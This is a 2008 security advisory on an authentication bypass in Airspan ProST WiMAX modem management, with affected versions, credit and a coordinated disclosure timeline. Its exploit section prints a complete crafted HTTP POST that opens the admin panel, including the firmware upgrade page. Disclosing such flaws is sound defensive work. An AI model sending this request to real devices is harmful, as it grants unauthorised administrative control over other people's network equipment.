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| Airspan is "a worldwide leader in broadband wireless with over 400 customers in more than 100 countries. As a founding member of the WiMAX forum, Airspan has led the way in WiMAX, being among the first wave of companies to achieve certification for its Base Station and End User Devices". A vulnerability in Airspan WiMAX product allows remote attackers to bypass the authentication mechanism used by the product with very simple means. |
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Credit:
The information has been provided by Francis Lacoste-Cordeau.
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Vulnerable Systems:
* Airspan ProST with firmware version prior to 6.5.40.0 with Hardware rev prior to 4.1
Remote exploitation of an authentication bypass vulnerability in Airspan ProST Modem management allows attackers to access all options available in administration panel.
This issue is due to a failure of the application to properly handle access validation functionality. The access gained through this issue grants admin privileges.
Exploit:
The attacker have to craft a malicious request.
Example:
POST /process_adv/ HTTP/1.1
Host: 10.0.0.1
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
DialogText=&Advanced=1
It will display options page number #1, which is Software Download for Firmware upgrade. You can increment 'Advanced' value to see others options.
Disclosure timeline:
15/10/2007 - Initial vendor notification
16/10/2007 - Initial vendor response
13/03/2008 - Coordinated public disclosure
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